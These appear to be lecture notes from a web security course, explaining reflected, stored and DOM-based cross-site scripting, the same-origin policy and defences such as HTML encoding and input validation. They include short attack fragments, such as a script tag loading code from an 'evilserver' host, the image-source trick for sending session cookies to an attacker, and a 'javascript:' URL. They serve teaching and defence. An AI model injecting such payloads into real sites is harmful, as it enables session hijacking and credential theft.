1

135

Cross-site scripting (XSS) is an attack by which an attacker injects some malicious client-side code (e.g., Javascript code) in a web page provided by a legitimate server, and suchmalicious code is then executed by one or more victim clients. A very common XSS case (shown in the slide) is when an application uses a single dynamic page to display errormessages to the users. The page takes a parameter containing the message, and itdynamically renders such a message on the page returned to the user. Such a techniqueis convenient for developers, because it allows them to define a single error page thatcan be linked from all the other pages to display all possible error messages.

136

However, such a mechanism can be leveraged by an attacker, which can inject HTML tags and in particular <script> tags containing client-side scripts inside the page parameter. As a consequence, the application concatenates the <script> tag in the page and returns such a page to the client, which executes the script. The injected scripts are typically in the JavaScript language.

137

Another, more complex, example is when an application shows an input field where the user can input a credit card number. The default value of such a field is provided by the client through a GET parameter.

138

Also here, such a parameter could contain a <script> tag containing some maliciousJavascript code. This time, the injectable parameter is concatenated as an attributevalue, so the attacker has to inject also a single quote and an angle bracket to close the <input> tag before injecting the <script> tag. The original single quote and angle bracket are ignored for HTML syntax tolerance, and they do not impede the executingof the malicious script.

139

The previous examples are instances of the most common type of XSS: the reflectedXSS. It is called «reflected» because the client-side script embedded in the request is«reflected» back in the response. The attack is carried out with a single request-response round, therefore it is also called first-order XSS.The attack follows the schema exemplified in this slide. The attacker deceives a victiminto following a particular link to a honest server, which contains the injected code as a GET parameter. In the original attack, the attacker achieves this by running her ownweb site, which serves HTML pages containing the malicious link. For this reason the attack is named «cross-site». However, the same objective can be achieved by mailing the malicious link to the victim, or by posting it on a third-party web site or application, for example an online social network. Possibly, the attacker can make the link appearless suspicious by obfuscating it via a redirector service (e.g., Bit.ly). After the victimclient follows the link, the honest server forms a web page containing the maliciouscode, which is eventually executed by the victim.

140

The malicious code can do various things. Typically, it sends somehow to the attackerthe session ID that the victim user has established with the honest server, in such a way the attacker can do operations (e.g., money transferts) on behalf of the victim user(session hijacking). To do this, the victim must be logged in the honest applicationbefore following the malicious link. In order to steal the session ID, the malicious script can create an image having as source an URL of a web site controlled by an adversary, so that the client is forced to visit it. The URL can contain the value of the session ID asa parameter or directly as the request path, so that the adversary can receive it. Thisslide exemplifies such a method. Note that if the victim client is an administrator of the application, the attacker gains a complete access over it. For example, she can create her own administrator user, or she can change the password of the legitimateadministrator.

141

If the attacker can induce a user to follow a malicious link, why she does not simplyhost a malicious script in her own web site, and then she makes the user load and runit? This attack would be simpler to mount, as it does not need the honest site to be XSS-vulnerable in order to hijack a session. The reason why this «on-site scripting» attack is unfeasible is for the same-origin policy, which prevents a script loaded from one domain to access cookies issued by another domain. In the supposed «on-site scripting» attack shown in this slide, the script loaded from www.evilserver.com shouldread the session ID cookie issued by www.honestserver.com, but this is prevented by the browser.

142

The same-origin policy is a key security mechanism employed by all modern browsers. In general, it states that content received from domain A can read or modify othercontent received from the same domain, but it cannot read or modify content from domain B. This has three key consequences on how the browser manages externalrequests, external scripts, and DOM data. (1) Regarding DOM data (which includescookies), a page from domain A cannot read or modify any DOM data belonging to domain B. This mechanism prevents the «on-site scripting» attack. (2) Regardingexternal requests, a page from domain A can issue a request to another domain B, for example to submit a form or to load an external image, but then it cannot read or modify data returned by such a request. (3) Regarding external scripts, a page of domain A can load and run any script from domain B without restrictions. This isbecause scripts are not supposed to contain data, so they are considered non-sensitive. Note that Consequence 3 allows an attacker to run a complex script on the victim with a small XSS injection, by making the victim load the script from an external web site controlled by the attacker. For example, the attacker can inject <script src="www.evilserver.com/evil_script.js">, and the same-origin policy will not preventthe execution of such a script.

143

Another, more critical, type of XSS is the stored XSS. In the stored XSS, the attackermakes the server store the injected malicious code, so that the server builds and sendsa web pages containing it to the victim client. This type of XSS typically involves tworequest-response rounds, one by the attacker to upload the script and another by the victim client to download it. Therefore, stored XSS is also called second-order XSS. Note that stored XSS is not a real «cross-site» attack, since the attacker must not host a malicious web site, but rather she is a client like others. It is called «cross-site» only for historical reasons.

144

Stored XSS is more critical than reflected XSS from the security point of view for tworeasons. First of all, the attacker must not induce victims to follow any link. After havinguploaded the malicious script, the attacker must simply wait for the users to visit a page of the vulnerable server. This makes the stored XSS dangerous also for security-skilled users, which are typically unwilling to click on suspicious links. Secondly, the attacker is sure that the victim is visiting the vulnerable server at the time of the execution of the malicious script, and he probably has an active session, which can be immediately hijacked. By contrast, in reflected XSS the attacker must first induce the victim to visit and authenticate to the vulnerable web site in order to hijack his session.

145

A third type of cross-site scripting is the DOM-based XSS. Similarly to the reflected XSS, in the DOM-based XSS the attacker induces the user into following a malicious link containing a script. But in this case the server response does not contain the script, nevertheless the script is executed by the client anyway. The reason why this happensis because some client-side honest script accesses the Document Object Model (DOM) to extract the URL, and it uses such an URL to dynamically insert HTML code in the page. This causes the other, malicious, script to get into the page and be executed by the victim.

146

The previous «dynamic error page» example used to exemplify the reflected XSS vulnerability can be refactored to be vulnerable to DOM-based XSS as well, as shown in this slide. Here, the developer employs a single page to display many error messages, but the error message is inserted into the page by a client-side script rather than a server-side one.

147

Note that the malicious URL that triggers the vulnerability is exactly the same as in the case of the reflected XSS example. DOM-based XSS vulnerabilities are typical in AJAX applications, which often use client-side scripts to modify the page, possibly based on DOM information.

148

Apart from hijacking the session, an XSS attack can pursue other objectives as well. For example, they could inject into the page a malicious form that deceives the user intotyping his credentials or his credit card information. The malicious form can thensubmit such information to a web site controlled by the attacker. Note that the victim islikely to trust the legitimacy of the form because it appears to come from the legitimate web site, which owns an authentic public-key certificate. In a stored XSS vulnerability, the injected script can force the victim clients to post other copies of the script in other places of the same web site, for example in other public profiles in case the site is an online social network or in other threads in case the site is a forum. Thiscreates a sort of self-replicating worm based on stored XSS.

149

Some modern browsers (e.g., Internet Explorer) try to defend the client againstreflected cross-site scripting heuristically, typically by trying to detect script-like stringsthat are present in both the requested URL and the returned page. In some browsersthis feature is enabled by default, in some others it is not. The web server can be configured to include the header «X-XSS-Protection: 1; mode=block» in all the returnedpages, in such a way to force the browser to apply XSS detection if available, and blockthe page in case of positive.

150

Though this countermeasure is good for additional security, it cannot be considered the primary defense against XSS. First of all, because it protects only against reflected XSS, and not against stored nor DOM-based XSS. Secondly, browser-based protection ishighly browser-dependent. Some browsers could implement no XSS protection at all, or they could implement an insufficient protection, which can be bypassed by properlyobfuscating the injected script. For these reasons, fixing XSS flaws in the application isnecessary for defending against this threat.

151

The root cause of all the XSS vulnerabilities is that tainted data is unsafely copied intoan HTML page without proper validation or escaping. Hence, the key countermeasure isto validate and/or escape all untrusted input before inserting it HTML pages. Thoughthis solution is conceptually simple, it is hard to do it in practice because it is difficult to identify all the positions in which untrusted input is copied in the response in a dangerous way inside a web application. By contrast, SQL injection vunerabilities are easier to fix, because the application interacts with the database in relatively few and well-identifiable points. For this reason, to avoid XSS flaws it is recommendable to adopt a three-fold strategy that includes: (1) output validation, (2) input validation, (3) avoiding dangerous insertion points.

152

The primary defense is output validation, which basically means to sanitize data beforecopying it into HTML. Such a sanitization can be done by HTML-encoding all the dangerous characters. In particular, the following characters should be replaced by the relative entity:Character " must be replaced with &quot;' with &apos;& with &amp;< with &lt;> with &gt;

153

In case of reflected and stored XSS, the standard way to do that in the PHP language isthrough the htmlspecialchars() function with the ENT_QUOTES flag as secondparameter.

154

In case of DOM-based XSS, the output sanitization must be performed at the client side, within the client-side script. A way to do that in the JavaScript language is shownin this slide.

155

The other two countermeasures are for defense in depth: if output validation failssomehow, they will protect the client as «backup defenses». In particular, input validation involves checks on the input, typically through a white list of admittedcharacters or by matching some regular expression. For example, a «username» input should be checked to contain alphanumeric characters only. In case of reflected and stored XSS, validation must be performed at the server side. In case of DOM-based XSS, validation must be performed at the client side.

156

Avoiding dangerous insertion points means that the developer should avoid insertinguntrusted data in points of the page that are simply too hard to sanitize. For example, the developer should always avoid inserting untrusted data inside a <script> tag, or inside an HTML attribute that is supposed to contain code, for example <imgonload="$text_to_insert">. He should also also avoid inserting inside an HTML attribute that may contain an URL, like <img src="$text_to_insert">. This is because an attacker could inject an URL to a malicious site, or even a script through the pseudo-protocol «javascript:alert(1)».

157